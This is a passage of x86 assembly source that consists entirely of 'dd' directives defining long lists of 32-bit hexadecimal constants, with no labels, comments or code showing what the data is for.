0C68D0D4Bh, 13802BD6h dd 19ADAA52h, 0DC2961A1h, 65C2BED2h, 84A93A2h, 51C3CC1Ch dd 0AEBB833Eh, 0D64277FCh, 0C7165E2Ch, 0E79866E9h, 3A47823h dd 0F5D06F7Eh, 28F3052Eh, 0E1424BB0h, 4E7351ABh, 236915DEh dd 0C2074D74h, 0A167C4AAh, 460A1ACFh, 27A2689Dh, 0FF642ABh dd 18CE045Bh, 87B9A9D4h, 9BA1F4E2h, 0B006278Ah, 4E2B8CFFh dd 2535E33Ch, 8BF4A024h, 635BF403h, 0CD512B4Dh, 0FC1EFF75h dd 145486C2h, 809962D8h, 3CC6E369h, 35CDBC11h, 0B98D9F1Dh dd 58216554h, 44712A0Fh, 18FE5CC6h, 4FAAC18Dh, 121AFE5h dd 5142405Dh, 22CFE344h, 0D49DF467h, 0A96781BCh, 0DDEE51BEh dd 78DD2C94h, 154DC7C0h, 0D91B8E5Bh, 0A5A63A1Fh, 600B1D5Ch dd 641609FCh, 4728804Dh, 0B3BB3BEFh, 3AE0BD18h, 1C27F0CFh dd 0C0F8AB98h, 0B0C73A9Eh, 0E620B8B6h, 0E509CE77h, 0F6771CD3h dd 0E46AA262h, 0D37B4407h, 0F60BC474h, 0DB88E449h, 2CA47794h dd 7632F72h, 4BB4357Eh, 37E8090Bh, 78F56C41h, 69426BC9h dd 0CF4EE378h, 188964CAh, 244292BFh, 0E8127A9Fh, 0DCA924D9h dd 762BDAC4h, 222490A2h, 0DB88ACC6h, 0AD17FBABh, 278C6B96h dd 0ECEEF22Bh, 792987B3h, 65E73CADh, 0E9CD0A60h, 30135AF9h dd 525B6A9Ah, 9E6D4067h, 0C4D21E98h, 0C35B5ECh, 0C63948D6h dd 0E93B275Ah, 5ACCB57Bh, 9121EC3Dh, 0EE9270BCh, 242CF3D6h dd 0C2149953h, 16BE2941h, 0B525AFCEh, 7235E3F0h, 51AE96D3h dd 0F290A8D8h, 30458A8Dh, 0ADBE524Eh, 8D417A8Ch, 7BE4CC9Eh dd 4B57FF86h, 0A6D6D089h, 9E7F48FFh, 0A2A64924h, 0EFF28CD9h dd 3071D86h, 0A00FBF8h, 9ABDC88h, 0C9993A06h, 56AD6AB7h dd 647D2906h, 0A337A06h, 5D082C5Fh, 1483D257h, 0DAFC2942h dd 0A7381A82h, 122BF7ECh, 2E7F9A84h, 0C061FF67h, 7D7BF184h dd 3F1EBC94h, 65323A6Eh, 811B1C1Fh, 0D99696F5h, 0AB0CFFDFh dd 0C70D7BEAh, 484F1C7h, 45E9D533h, 1395E739h, 7B3A69B9h dd 11F21E8Fh, 0CB972478h, 837197EBh, 55006431h, 106AFB96h dd 0EE1180B4h, 7288B34Dh, 98DED276h, 0E5E4F49Bh, 59C1DED9h dd 12EC8BCDh, 428841D1h, 0CBE979E0h, 9F34DA3Ah, 986F219Ah dd 0B81F79BFh, 0B48E3BD8h, 0C0D65343h, 9002FD7Ah, 92716E42h dd 0B9DA4EB8h, 5DBE461Fh, 7F8965D5h, 6CA5A6A8h, 10068359h dd 0CECD09B6h, 464F5362h, 0E12D1ADCh, 0D0421E26h, 0B3E922DCh dd 6E55C92Fh, 0A8972431h, 7752A247h, 0D72AA2D7h, 1AD09E53h dd 0AC2B2EA8h, 1416DDCEh dd 0B44ED439h, 6681C78Ch, 0A6EAAA8Fh, 77FA4ADDh, 0CDD156AFh dd 0A1175188h, 0E47CB87h, 50B42C50h, 49A08B55h, 81776913h dd 2B05F8FEh, 0AE6185E3h, 0E93B6FFBh, 0AC4F2B03h, 0D6096B75h dd 0A65851FAh, 0D2ADF8EBh, 21AA3587h, 9842D5B4h, 62D94378h dd 797A6D4Ah, 3D7B7F8Ch, 9248ECF8h, 0AC7F9B81h, 0ECBB4580h dd 76E7FB70h, 87E3864Ah, 0E8AEE50Dh, 90F44B6Bh, 74FD00C5h dd 0A5565D97h, 523CF907h, 51F6B4BCh, 6F8ABBD2h, 95876FCBh dd 19925939h, 314C2251h, 0D376AD76h, 6E26C4F8h, 7D592177h dd 0E9D09C73h, 0F806AEA2h, 0D09D440Ah, 63184FB3h, 0EC38155Bh dd 0AB8860BAh, 70D6E7D1h, 0D18FD0BAh, 10D8549Eh, 4C60EBFCh dd 0D613574Ch, 0DE77E9A0h, 234D5F5Eh, 9F2678EFh, 0F212447Ah dd 0D2CEC35Eh, 272Dh, 0C7C84025h, 308E556h, 0FD9067D3h dd 0C55E2F7Eh, 8A98A8D7h, 3B56CFDEh, 525EE4C9h, 1EC81C29h dd 0AFB43DD5h, 49CDB77Bh, 0A2F891A3h, 0CF36B29Eh, 57F9C375h dd 469104CFh, 0EB89D0A8h, 594A1D89h, 93EC0A89h, 62456E03h dd 0F00AECA7h, 79D59772h, 5728C8DCh, 74C80480h, 0BFD75596h dd 9D70155h, 22004840h, 7F087215h, 15F50C23h, 0BFBB3110h dd 7096FC8Fh, 0A617F0E8h, 103F724Eh, 364F60BCh, 77E9D240h dd 0C398B908h, 6A8C3B66h, 244BA456h, 8085C628h, 51671474h dd 0AD82535h, 67F7D8C9h, 0C554AB19h, 96976DCEh, 0FC504C16h dd 5C8A738Fh, 0A9BE07DCh, 30968631h, 6DFAA412h, 19478005h dd 60B74AADh, 438BACBAh, 974FFF42h, 0BA2D07A9h, 789909ABh dd 3C90C4BAh, 5E3038ABh, 0BAE07E4Dh, 0E47C13F0h, 204E1DE5h dd 84685A8Ch, 0F50AC372h, 1BA4E804h, 14226EDCh, 5C35D626h dd 140C223Fh, 296E6B9Dh, 47CA9900h, 2E5D27B2h, 822CF423h dd 0A64DC617h, 0C819D8DFh, 3756A356h, 0EECFAE4Dh, 5B4AFF3h dd 310701AEh, 0DF39DAC7h, 57135669h, 78E01C83h, 51B1CD85h dd 9A842E0Bh, 0B7022CE9h, 9E5180C6h, 0FA2D7E2Dh, 0F4A3729Bh dd 23B0B1D0h, 0ACC246Dh, 0CEED03Fh, 0AFBA9155h, 0EAC5F03Dh dd 0A1996127h, 4395BA27h, 2818ADBEh, 0D281830Fh, 0F4CA0C82h dd 0DBD416D7h, 53AF4BA1h, 53F452EDh, 22012087h, 0A3431C48h dd 2DC54D92h, 0E429E179h, 288BAA8Eh, 62B569A4h, 5C7F2328h dd 72D85C8Fh, 0AA351526h, 4EAD629Eh, 5B242345h, 0F28A94C1h dd 39676331h, 420831A3h, 0EA9CAA80h, 0D6EF077Ah, 0C1583267h dd 0E1A11390h, 0BDACBE43h, 63877A19h, 0F79C1F70h, 2635A4D9h dd 0CB6A95A7h, 3B2E26F2h, 9AF9314Eh, 0AED9D5BDh, 0E9B035D1h dd 65EC474Bh, 54CF5039h, 19950FB1h, 0FA9E3D6Ah, 220184ADh dd 0D042AB0Fh, 0F73D2BA1h, 0C5DEE06h, 2F90986Fh, 3067B95Ah dd 840151FDh, 0E31292DBh, 49C89929h, 4A0451CDh, 2DFFE1F9h dd 6718602Fh, 50E50337h, 8F6ABF4h, 9F2CE3Ch, 16DEE507h dd 0EEBC772Dh, 26A9C606h, 1A46D31h, 9D62483Bh, 4614E9C6h dd 8AFE9C5Ah, 0DEDD491Dh, 5365B28Dh, 0A48111E8h, 6C558BBDh dd 7E5CC3BAh, 9E35DFE7h, 1C323C04h, 5BA2B682h, 7DFAC255h dd 0E70649FFh, 0A59A2504h, 0C8A98414h, 7C0D56F3h, 0B230872h dd 0CBC5444Fh, 746D2843h, 0F9A4C79Ch, 0D8D86119h, 487D9239h dd 1CB59700h, 39FF0B6h, 903CECA9h, 3C664A1Dh, 77E07D49h dd 0ACCA5028h, 0E4FB46C8h, 3D3C5528h, 0B0819B9h, 6624CE95h dd 55DBC0BDh, 0F353F2F8h, 0AEC866CDh, 23DDBDCCh, 97AB7BBCh dd 1D860D4Ch, 5094098Ah, 0A98E2BECh, 15CDF7AEh, 82B58EB5h dd 510BDDFDh, 801CBA2Fh, 37D3FEFEh, 0ECAA2320h, 0AA6A7A2Eh dd 239C3838h, 0C06B915Ah, 0A5B25569h, 2472B758h, 4C1D4743h dd 0B8FD7A7Fh, 0AB89C655h, 2C84E8DFh, 3434C37Ch, 0B2776A05h dd 504368F0h, 248A0008h, 0EF6DA7B6h, 0EC2AF96Ah, 54773275h dd 0C2142833h, 0AFF8CEh, 78D34BE2h, 6DFE8D77h, 49354D09h dd 0C499C60Fh, 6673B547h, 0DADB617h, 5B65C8F2h, 6758FDABh dd 9ACF7AA1h, 0D09AE08h, 1782C54Ah, 9EA828A3h, 117E6330h dd 6DDBDF3Ch, 0A4F18A10h, 857F7046h, 83BFFA51h, 2C842F1Ch dd 0B890316Ah, 4A2344FBh, 0D8F6A0A1h, 0A863C37Eh, 0A81D4245h dd 6D25ED6Fh, 9ECACC95h, 914425F8h, 0A18A9C67h, 0FFCE9511h dd 0AC9FD334h, 6DFFC70Bh, 49959B1h, 6A3896F2h, 4B8ABA85h dd 696E0CB7h, 0A0CAEA31h, 625D5C8Ch, 8BD0488Fh, 99E5668Dh dd 9BB929A5h, 0B4E10DD7h, 6C9BC7CEh, 851C873h, 0DD2F8E3Bh dd 518AC69Fh, 0EA6EA31Ah, 2197A346h, 483779A9h, 0C982D6Ch dd 0A488EEF2h, 24E3B913h, 2875601Ah, 6688AD2h, 0C5A1D1C5h dd 0DE384411h, 0CC0D19C4h, 0D076C23Ah, 9B200001h, 0D1F07963h dd 45739C26h, 5264E293h, 0B5B79CB0h, 92DC5F8Ch, 0D2603DE3h dd 0DD1496CFh, 0E3B29756h, 0E0D2C6EBh, 0FA750322h, 6850F6DAh dd 3BB4D4CBh, 0E77BD2FCh, 0A6983BAEh, 74304FB5h, 0B2A657Fh dd 0BC188355h, 0BF711BFCh, 0C7B3A601h, 4D86EC3Ah, 77EE075Ch dd 48AA7E6Fh, 0AB9EDDB8h, 7C8321C9h, 29EC5C3Fh, 7B3ED538h dd 0BA299A34h, 3EF66C36h, 9C4D5D57h, 0DAD2DEB3h, 5BC1B868h dd 0CDDF3DB0h, 0F8D0A96Fh, 64E4338h, 80D60906h, 6DC97E9Bh dd 0AE6296CAh, 5354F74Ah, 0EC2BF2Eh, 6BA9AD95h, 0E4DD9BC8h dd 2E35F5D5h, 5593EB6h, 0B4EE95C8h, 821A2620h, 0E82311BDh dd 80AD81A6h, 0DE0B51D2h, 0F940479Fh, 0C3BB0C53h, 9B49ACFAh dd 479BB073h, 93532FF4h, 927F2567h, 0E1BB9367h, 0B9FB65F4h dd 0D0B69DAFh, 8BF468EAh, 578244Eh, 8E8BA738h, 41F7267Eh dd 0E95AC6Ah, 48848E06h, 0C53CC7D3h, 0C4632FBDh, 34FCCAE6h dd 0FF43DA4Eh, 0B10E2CD0h, 0B0F07979h, 4BE89E75h, 0AC93AD61h dd 4931631Ch, 3E7E5674h, 0C10FC794h, 1A65DBE1h, 0EEEB953Fh dd 0F3EFA578h, 0EC5ABB70h, 385DC246h, 0C5D2A659h, 3480BC3h dd 0CBA4AF0Bh, 848C2015h, 0EE91E9EFh, 655DBBA7h, 2FEE93A9h dd 0ACBA45D4h, 4EE23459h, 9AF9DBh, 0BE016466h, 90560A8Dh dd 8FBE5932h, 0F259409Eh, 33A99ECBh, 81285E14h, 53989A05h dd 1EB71631h, 0E7A472E3h, 5AC2B090h, 36BC85h, 72AAE5CCh dd 0CC6A8CE0h, 0FE8CD83Fh, 0AD76DAF2h, 874D00E8h, 3256098Fh dd 0B232079h, 0C3FCC928h, 753F1A36h, 0F8CAFED7h, 8820545Fh dd 0E7E33EA5h, 58686FDEh, 47C97FEEh, 0AA544F20h, 0E5D7670Fh dd 25EB8587h, 0D2875E19h, 26FCB3A0h, 9FDFB579h, 83251E6Ah dd 36C40BB5h, 2873CD8Ch, 68A7548Eh, 0C59907F1h, 85B6CC32h dd 925A2446h, 91A00869h, 90989018h, 33FBF999h, 168807EFh dd 12116369h, 0B6C17828h, 82CB03F3h, 94027052h, 8EE17710h dd 0F1686010h, 0C28A45A1h, 9D624B0h, 0B7C1A80h, 0CE8DCD90h dd 0EB32CA75h, 37FCD606h, 0EFB158E4h, 191D44F8h, 7024EC3Ch dd 23333F00h, 54974024h, 9FEDEEAFh, 0EDA1F17Ah, 8E96037h dd 7037658Dh, 0D787DABFh, 4AA66C79h, 814F7495h, 7CA9B442h dd 12A2C0F6h, 0FAC4FDF7h, 1192B072h, 26DDFE34h, 916103F6h dd 0E161F9D9h, 14EBE356h, 9710C084h, 634AFD48h, 0F5CC2024h dd 84F86297h, 74B27347h, 0A9CA8127h, 0E073B043h, 0B9B12F95h dd 3692C089h, 0BE9ABFC0h, 39ACB53Ah, 815ED5ADh, 0FEB9064Dh dd 0D08B6246h, 0C984F953h, 0FF597EF5h, 3318ABB4h, 0B3AF5E07h dd 0F00F7BEEh, 58AD32D3h, 5A582A97h, 0BBB360DCh, 1C35A213h dd 0E79BA4Eh, 0BDF1B710h dd 3E71EDB9h, 0FEABEE96h, 5C3B8C7h, 0EE76DF12h, 1F5A9C2Bh dd 8D2DB8FFh, 20ECD9A5h, 6386F6F3h, 0A25AA53Fh, 7C9E6AB8h dd 5B1118BEh, 0B29D76CEh, 25FFCD8Ch, 514F3D6h, 45605865h dd 60F7E352h, 4B7260E7h, 0AC6AB1A7h, 0F39F0D82h, 22F4E7DFh dd 0A444114Ah, 0FEF4986Ah, 8DFE5597h, 0D27FC56h, 0D8F5EF77h dd 0CAB030F4h, 0CD31DBC7h, 7FD984F0h, 96FBC882h, 18BCB4F4h dd 0B954BB11h, 0D702E723h, 2DA89A1h, 0FF2C89A6h, 5B68F05Fh dd 91A2F9EDh, 0CB8E6982h, 2D47E90Ch, 840B2265h, 6BC49F72h dd 0E69BC44Ch, 7F0380BDh, 1CC33642h, 0B343393Bh, 8DA7452Eh dd 454FCEB4h, 0E9938BFAh, 0ABF169FEh, 9E0EC36Ch, 86CFDBDEh dd 0BFA6077Fh, 96459698h, 19ECABDFh, 965ABE3h, 7FF709E9h dd 0A0A95D5Fh, 2600B8CCh, 39658CF6h, 301AC14Eh, 61232Dh dd 3B24F51Dh, 0CE328C27h, 2E75BD75h, 2B2E3347h, 0F926D3D1h dd 0AFE93FF1h, 0ED639D5Eh, 0A8E1016h, 0FEB0D820h, 30C9660Ah dd 33154515h, 9F361CCEh, 0EB84A444h, 2112E7D5h, 0D56FE17h dd 0AEEBFC4Bh, 34AC0062h, 0AC4035FBh, 65CE7C5h, 0B0A24645h dd 33182FF2h, 7B2D72D7h, 0FBA8FDF4h, 0EE63B277h, 4B0F5078h dd 22DE4510h, 1F7F5C9Dh, 7B75081Fh, 9F7D6BECh, 73A32EA4h dd 0C07EF3AAh, 0A3ECFE02h, 0FBA8C7BCh, 3DF3919Ch, 38CA0414h dd 812ACD32h, 6111866Ch, 0E275E1D3h, 0B054FD64h, 216065EDh dd 38F66C36h, 6AB441C9h, 7327B934h, 0F0A69D3Ah, 0A3261F4Ch dd 0E2635588h, 0A3E9BD55h, 792AEC53h, 455B2F0Eh, 0FFDF0172h dd 8436D5E3h, 2BA840A4h, 0B55D9A94h, 0F35F560Ch, 1729D2A4h dd 61933DC0h, 0BFF4C39Ch, 683CE21Fh, 7791DA99h, 495C6C92h dd 4C58E9Ch, 0C3E2A5E1h, 0C7AB5F9h, 0ED64D64Fh, 84B73D47h dd 0F2227D59h, 24622815h, 0C8AA2572h, 31206370h, 5F2DBB8Eh dd 0A473E59Ah, 0F5B7A5D0h, 9A12FD57h, 0FF83B588h, 0DD1777DFh dd 65C954A1h, 0A91DA13Fh, 1528A15Bh, 785E0AA8h, 0B28082F6h dd 0D34CFDDBh, 0CA485188h, 42EF21Ah, 0B41CDE2Ah, 1960C12Fh dd 5820F0B6h, 3DC04BF2h, 87AEDAFDh, 0A14B82F8h, 0A1A15CA1h dd 5E02ABC6h, 4ED3DE02h, 507D95CDh, 43ACA3A9h, 8C1D1711h dd 1E58D214h, 0B4047F34h, 23D70167h, 7D96585Ah, 5794A4E3h dd 0B1D81F42h, 0C72C1B74h, 1EF1FCFDh, 0E87227E7h, 185FE0D2h dd 209FF651h, 54EDFA6Dh, 1D31C715h, 5EB6F98Fh, 0DF678340h dd 1524F801h, 811FFBAFh, 2655F73Ch, 5A927550h, 408D83FBh dd 46481E89h, 6071757Eh, 66F97ECDh, 9BEA81CAh, 0B6C794A8h dd 0DB59C6C7h, 63326CEDh, 31A600D9h, 0BFB7BC32h, 19DFF1FBh dd 0A6BD0FEAh, 0EC936E0Dh, 78913C1Dh, 0B06F6FF5h, 6A606A16h dd 92DA0D83h, 67D35340h, 84DCED89h, 0FDAE20ACh, 898A4137h dd 0B3D93600h, 0E2829D5Ah, 3D7842Ch, 0CF4DB6DBh, 0C788708Ah dd 0EA58295Eh, 726C047Fh, 15537116h, 61B8ACB6h, 0A228FA3Eh dd 62B25C56h, 0FF591D85h, 0FE3BBB43h, 0B0ECE3DDh, 0F2651A12h dd 928A66B8h, 5D92BFE3h, 426C4754h, 0B8DBAE76h, 9F0F2C2Bh dd 0BA61A545h, 717BA443h, 0C25F81F5h, 0ADBA93A8h, 6F405827h dd 58A0EE28h, 18322617h, 55312085h, 5208CC33h, 0D2D79ACBh dd 9A582B63h, 3EB833DDh, 0A5D7E113h, 1507B028h, 424FAA06h dd 471A1D38h, 79FE3A2Ah, 3CFC3825h, 7FE2297Ch, 0C2861EA8h dd 0ECDDBA35h, 2B0A69FEh, 0AC14B135h, 0B1CBA6D6h, 0F5890A78h dd 4CF1CBEDh, 0BBE01FD3h, 0C8232511h, 1353D1E4h, 0BF26BC02h dd 0E447CC2Eh, 0C014AF81h, 0BFD8BE6Ah, 0D872A737h, 0AABA02BEh dd 44E3E3D4h, 0BD7A1320h, 0A16F32C2h, 770B19Eh, 3A9E8F87h dd 43F5F3F1h, 7CDDE238h, 0D3B43076h, 2DCB8181h, 2EAC22CBh dd 903F0395h, 0B6324A0Fh, 5655C91Ch, 2C11420Bh, 55062BB5h dd 0C9BEB0C8h, 0B4CD01EBh, 73297A78h, 9778872Dh, 0DC79C331h dd 4881C5B4h, 6BBB9E18h, 0ABF2DB73h, 97B53C38h, 0C9A173E7h dd 340CBBD2h, 0D253A98Ch, 0EA26BD87h, 0B994EFF1h, 6DB13E4Eh dd 0A080093Fh, 96A7500Ah, 0FFAB2DB1h, 0A6EC1C54h, 77E34DB5h dd 0B9FFA8BCh, 0E6FD8062h, 3B95A91Eh, 5CE70C7Fh, 882D63E9h dd 0D73F1E18h, 7AB46CB9h, 518A4B0Ah, 0CD560696h, 8AF3168h dd 5F4C9ADDh, 2B13ACD5h, 26D59597h, 0DC2B7060h, 0C1CD4704h dd 0CC7E1090h, 74E639C1h, 0EE52BC52h, 4D05EF95h, 0B5BA7170h dd 994C5E11h, 4B2EB73Ch, 99D295C8h, 0E23AEFAh, 126C7384h dd 0DB6F2A51h, 4E2CDB28h, 6681CD81h, 4C881DBCh, 1392B1F5h dd 77B25A49h, 993F9221h, 13C13C04h, 778A6AEEh, 5E2F1E13h dd 0C571A787h, 756218B0h, 49F47E9h, 0BB1FF4CCh, 72BCF47Dh dd 63ED0553h, 0A2DD95AEh, 0E4974B9Dh, 75F13B0Ah, 0FE7D7FE4h dd 45C233FBh, 0BC2EA675h, 0E67852F9h, 0B94832C8h, 0B9F3D289h dd 5177D1Ch, 4404F391h, 7F0BD807h, 0BD3C23B4h, 0E7F617DBh dd 566023A5h, 202C7862h, 0D1F24910h, 0D978975h, 4C021FF2h dd 10E13F1Bh, 0D0D17790h, 0F8A90A16h, 686C50E1h, 59A1F31Dh dd 12F2334Ch, 693ED50Ch, 0A038602h, 0F42A414Dh, 8537ED2h dd 0D65325ADh, 9431EF1Dh, 0EBD97DF1h, 0C64333C0h, 0D3173521h dd 763F1660h, 8CBF9112h, 0B4F88E78h, 6DC54B72h, 739C8972h dd 84D2D098h, 0AEAE0C83h, 334C9964h, 0B8D39BAEh, 0EB8B1CE9h dd 0DBB1F9D1h, 27E79B58h, 68C4FAFh, 4A641DAh, 43CCB150h dd 69C13E06h, 757882A4h, 281917h, 1896DE81h, 0FB702C0Ch dd 84D2D770h, 0FA4B324h, 0BE17BCEAh, 32C5C5E8h, 5AA99362h dd 2A98FA96h, 0A0DE0AA8h, 687D151Dh, 0D4A5C1F8h, 9056C999h dd 76EB0524h, 0BCABC4EDh, 0A5D7A4ABh, 6CB227E3h, 89126A1Fh dd 0A79DA5EAh, 8869F7B5h, 0F226C662h, 0D95B84B7h, 1F11D4B6h dd 9CF17297h, 571B4BE3h, 4D47AD4h, 510467C7h, 0E051A61Ch dd 0A0812825h, 82DC91A5h, 600106E3h, 0D1F70887h, 4508595Ch dd 595E0799h, 46E12677h, 0F3A6579Bh, 66C9728Ah, 0A20E4C17h dd 88F6042Ch, 0D8C775D2h, 0DC2D47F4h, 65A20352h, 93192E69h dd 1B80C676h, 4A9508F8h, 8946C6F1h, 8CDD2B8Dh, 7D977E0h dd 5985B96Dh, 0A32DF2CAh, 0E67084B6h, 2F7B22Ah, 7BC4D38Ah dd 19080887h, 0FE6C3390h, 7220FA26h, 0E05564CCh, 6F00370Fh dd 0A84776ABh, 0F0F797ECh, 75BC7566h, 26725670h, 238587B6h dd 0CAB6344Ch, 1C1D0972h, 0DBAD338Bh, 54F8D1D9h, 2CA32F8Eh dd 37D4DA91h, 818C7D1Bh, 0C9A50FC6h, 2B72BA4Fh, 51481D5Dh dd 0FC33B28Bh, 0F708CDE4h, 653B5065h, 439C6A51h, 27289634h dd 84EF6E4Fh, 2095688Fh, 0A9B85C98h, 0BF0F17C9h, 0DCC600FAh dd 0BB7471FBh, 0DB57C53Ah, 0B42D81E5h, 4CC4D40Fh, 406E7D1Bh dd 0BF8E11C2h, 0CB9B0B65h, 0DE2B49E2h, 824700AEh, 0BF0A119Ch dd 4648EAFFh, 74AAFA51h, 91CFBFB3h, 0ECB0900Eh, 0FB496272h dd 7A8CA0F1h, 0DDD8F058h, 0AC17BC55h, 0A2EB31A2h, 9740F20Eh dd 0B4875EBBh, 64C5C201h, 0EB7835FFh, 0EDDB0F22h, 9BFCD295h dd 0B0A23437h, 415E6C05h, 87B8EE69h, 9F296602h, 30515857h dd 10465AB6h, 0BBCEC58Eh, 0B9E96831h, 6673D22Fh, 0C7F5A858h dd 4DC655BEh, 0A0BDADBEh, 8D661747h, 12867861h, 40214A76h dd 19798E9Ch, 2EAD8C25h, 9BBB331Eh, 0F7A0E12Bh, 1F61CB61h dd 0F78931h, 145E550Fh, 4D8B87A5h, 7A4DA890h, 6C98CBBAh dd 3453C544h, 1773096Eh dd 9FD922C0h, 823AC62Ch, 2C8296AEh, 0B151E8A3h, 44DE1C17h dd 0B147F65Ah, 89D1A1EEh, 187338BDh, 18D3FA6Dh, 24C4BB88h dd 167F80Eh, 2495CC2Fh, 0C930299Dh, 0DC4600DAh, 0A52E4CA1h dd 0F24E1082h, 959E9F3h, 7937FD55h, 0A10E41C5h, 88F95D32h dd 40E5D7C9h, 6C3DB812h, 26AC1578h, 247D747h, 0D4077169h dd 95A0349Eh, 97F63647h, 3BFE59B5h, 1B4D5A15h, 0C19424D8h dd 0E6438250h, 0DA181927h, 1E86C8B2h, 95A423F1h, 0D4C22759h dd 883CCC30h, 78D226F7h, 0BF25C863h, 61CE5098h, 0D9860178h dd 0B9FD4085h, 6C40C65Bh, 4E725925h, 0CFE18160h, 9D568431h dd 0B950553Ch, 8943D81Eh, 6EDFA2C1h, 0C786FA5Bh, 0EF20971Dh dd 1B9BC74Dh, 0A4EF35F2h, 62DEF621h, 153D9721h, 0D89B95F6h dd 0A581AA1Bh, 7F7E210Dh, 75F03FB7h, 70CFC855h, 0C0FD5410h dd 6F79F2C1h, 0E36B17A5h, 7912FD4Eh, 9B8C1B76h, 0D15BB577h dd 0DFBE9FEh, 0B6A64508h, 20312E97h, 8A0B7CDh, 0E13DDD61h dd 5B16650h, 0A4278B0Fh, 0F201B8DCh, 54C1448Bh, 2F932503h dd 0ACBB30CCh, 588C828Bh, 0C2D451E5h, 0CFA6D58Ch, 69C79052h dd 187F9B15h, 91C84180h, 0F5EA3A8Fh, 7CF71B4Bh, 622DC880h dd 0C563AB92h, 2569F439h, 0F99F83E6h, 93F73421h, 38999FA3h dd 9359B7EAh, 81526E16h, 9D110ACCh, 9D96CC7h, 0D6C2B754h dd 0F0C50A0Fh, 0AD3CD1Bh, 0AE024386h, 0DE984483h, 2C4F8D1h dd 5C4E19DBh, 7FCF3C6Eh, 0BD25C978h, 9794A18h, 3C47AA37h dd 0C52C1F7Ch, 4EF0DD17h, 840BCF9Dh, 31F9EE84h, 944289D5h dd 773EB4C4h, 6F05FCAAh, 1C16B54Fh, 0B3667C92h, 20E896BBh dd 0AB496172h, 3224F4ADh, 0A5956EECh, 0AE692EECh, 69E7465Eh dd 9BFCD795h, 0F745DDD9h, 8E1AD521h, 94452E8Ah, 0E9B1CAB3h dd 26454DE3h, 70C9E185h, 0C4BA694Dh, 0E3E1BECDh, 0F3400550h dd 3CE2B44Ah, 51047967h, 9FF34B7Ah, 7E0FF49Eh, 8BEE9863h dd 9C4AECEDh, 0C4EC5A7Dh, 2BCF8B09h, 7ECDFFBCh, 0B5F9BEB3h dd 2A708748h, 0A9439F6Fh, 102367ECh, 0D7DC704Eh, 0CC1EED09h dd 49840E27h, 0D28A24DBh, 960A609Fh, 0C1D8CAA7h, 3A4C0474h dd 0EEDF32EBh, 3969D794h, 1EB1CBB7h, 0B6C9BCCCh, 0FC2A2509h dd 0E1015E23h, 0C27EEB87h, 0CC4A59F0h, 75620AFCh, 0D7854849h dd 76B8C688h, 0EEDBE535h, 3D02D7C8h, 0F5791BD7h, 55BD820Ah dd 11408722h, 0D815CD03h, 4C516003h, 0C24BC685h, 9563A2CCh dd 389D6174h, 0BD8B4CDCh, 44FEDBABh, 0F439D728h, 9C464C16h dd 0FC0BA5FDh, 0D8886945h, 68AB7914h, 13338274h, 84C1727Bh dd 0BBFD17E8h, 74318BFBh, 1D0DA6B1h, 0DA049A9Dh, 0FE9862D0h dd 98A9CC10h, 381288BBh, 1F6F0171h, 0CCB33EA0h, 89A99FD3h dd 0CACA9180h, 506FED2Ch, 540B37ADh, 1D45D6F0h, 2C66C3E5h dd 5F9CA219h, 3856CA6Fh, 35279D89h, 3E741F9Ch, 0CBE945FDh dd 0BDE55765h, 8E7E746h, 6B74833h, 9E557E44h, 65297D2Ch dd 0DF11FF24h, 89DD5644h, 0E5FFA0B1h, 626C07CFh, 2247B738h dd 9D9395E0h, 0C73119C0h, 5B8FEC5Bh, 0DB06A6DAh, 0B7D3CA90h dd 2758E8D9h, 0F0A93AB0h, 975C39AEh, 0A02EB120h, 0FA7A9EA1h dd 335FC161h, 37666993h, 0D7C0AB09h, 0D82364F4h, 2455B95Ch dd 9CA86FF1h, 93AFA959h, 2C4633C9h, 92C0A3E8h, 5782737Ch dd 543821D7h, 0F1E90D4h, 8AFEEFBAh, 38ECE5C3h, 0F26A6CAEh dd 9DCC4724h, 3F56BCB6h, 0F9F5D306h, 36730DB1h, 4570DDABh dd 6A8F01Fh, 0DA55F514h, 6228CC4Fh, 0AA37A6A2h, 42388977h dd 0AE7C10E0h, 0AF4DA17Eh, 49A7ED44h, 8C25C781h, 0C3034C7h dd 57F88358h, 112210B1h, 0E6EAC4A0h, 0D732139Ah, 0D66742FCh dd 37BDC6CCh, 0ECEF26E3h, 0E023E3FDh, 722903DBh, 716C3F3Bh dd 0CC88BA49h, 5E389E8Ah, 104F0054h, 0E92D351Ah, 0D82ED1DDh dd 1896E5F2h, 4207A099h, 76E3875h, 24EA4CEEh, 0E96587A4h dd 6ACB6906h, 60E765B5h, 1ED7751Fh, 281E3633h, 3FB5208Bh dd 94E199B6h, 856E2F7Ch, 466B5882h, 3F6B2A59h, 7201DD4Bh dd 0B7BA10C2h, 30D5EC0Eh, 66BD77Ah, 0E83AB736h, 0C796C21h dd 8FF3492Eh, 0BE293AB6h, 0B16AFB59h, 87ECDD90h, 0F5EC236Dh dd 7B5E58FEh, 61A2495Eh, 0F764B8CBh, 9C12F7E7h, 0D5B6B20Ah dd 0E4F83158h, 101461F2h, 0E5D48E75h, 63034A8h, 4EFFEF64h dd 4CBEA1D8h, 889FE8BAh, 88FE53A5h, 0AF8BAD1Ch, 5A886D4Fh dd 5EE0A5F6h, 0AB1BE6ECh, 8EE020D4h, 1A1D7077h, 91D87CE6h dd 574D53DAh, 14961FC3h, 0A2CD20F6h, 836A5118h, 46710D48h dd 0F4443236h, 0B0E2E8C9h, 0DBA20132h, 627D8979h, 0BA18456Eh dd 2065B056h, 3699942h, 0B1A20307h, 0A4B05904h, 82744E7Dh dd 39978D5h, 94EF58E3h, 0A34AEF3Eh, 836FDA18h, 17C411D1h dd 0A0C781Dh, 7D8DD38h, 870036B5h, 24E1477Dh, 6051606Fh dd 0DADA2D7Ah, 1B3B008Fh, 21575ACFh, 8F5D0F1Ch, 3BAAC225h dd 5EF755A0h, 0D3B770DAh, 764FF8C9h, 5341DACBh, 35AAF48h dd 80D9077Ah, 0CD5D2298h, 71EE7CD6h, 0EBB841C6h, 35ABE7Ah dd 0F937BE64h, 8F1D5416h, 42F28C28h, 4450A53Ah, 6CE1723Ah dd 0DE094320h, 8288505Fh, 43F17E0h, 64018DA3h, 0EDD7EF82h dd 601CB19Dh, 94BE46DBh, 2AE168D7h, 0D21F7FF3h, 0C77AD9E6h dd 47304A0Bh, 40D9C5Ah, 0CD387A69h, 0B2AE8287h, 8CDBDB8Ch dd 0EB215A68h, 8AEB7F02h, 0DFE94D40h, 902D29E9h, 0AB2B6358h dd 5BD66E30h, 88CAD5CFh, 8BAD773Ch, 70FF963Dh, 2AC0A8D8h dd 24549B4Dh, 490AB39Ah, 509E4426h, 9297F7C2h, 3F378B30h dd 50034D7Ah, 7AC319CFh, 